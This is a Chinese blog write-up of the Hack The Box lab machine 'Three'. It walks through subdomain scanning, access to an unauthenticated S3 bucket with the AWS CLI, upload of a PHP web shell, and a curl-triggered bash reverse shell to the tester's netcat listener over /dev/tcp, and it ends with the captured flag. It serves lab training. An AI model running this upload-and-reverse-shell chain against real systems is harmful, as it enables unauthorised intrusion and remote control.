HTB Three 靶场 Writeup
HTB-Three
1 | echo "10.129.227.248 s3.thetoppers.htb" | sudo tee -a /etc/hosts |
nmap
1 | nmap -sV 10.129.227.248 |

访问ip可知
可以看到一个静态网页,其中有一个演唱会门票预订部分,但它无法使用。查看网页的源代码显示,“联系”表单将请求提交到一个 PHP 页面 /action_page.php,这表明该 web 应用程序的服务器端是使用 PHP 构建的

发现一个域名

扫子域名(工具:gobuster)
1 | gobuster vhost -u http://thetoppers.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -append-domain |

扫到了:s3.thetoppers.htb和gc._msdcs.thetoppers.htb
添加到主机
1 | echo "10.129.62.175 thetoppers.htb s3.thetoppers.htb gc._msdcs.thetoppers.htb" | sudo tee -a /etc/hosts |
本题提示:访问s3.thetoppers.htb 时,您将看到{“status”:”running”}
访问s3.thetoppers.htb

AWS CLI
通过爆破的子域名,发现的子域上运行的服务进行交互的命令行实用程序是 AWS CLI,服务器是Amazon S3,需要安装命令行工具
1 | apt install -y awscli -y |
安装好之后进行配置(aws configure)
1 | aws configure set aws_access_key_id dummy |
接着使用 AWS CLI 连接S3子域。
1 | aws --endpoint-url http://s3.thetoppers.htb s3 ls |

枚举S3存储桶内容
1 | aws --endpoint-url http://s3.thetoppers.htb s3 ls s3://thetoppers.htb/ |

文件上传漏洞
试一下S3存储桶的写入权限,通过尝试上传一个test文件来进行测试。
1 | echo "test" > test.txt |

文件上传成功,上传木马
1 | cat > shell.php << 'EOF' |
使用浏览器打开
1 | http://thetoppers.htb/shell.php?cmd=whoami |

配置反弹shell
配置nc监听
1 | nc -lvnp 4444 |
反弹shell
1 | curl -G --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.17.163/4444 0>&1'" "http://thetoppers.htb/shell.php" |
拿到shell

flag:a980d99281a28d638ac68b9bf9453c2b
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Echoin 的博客!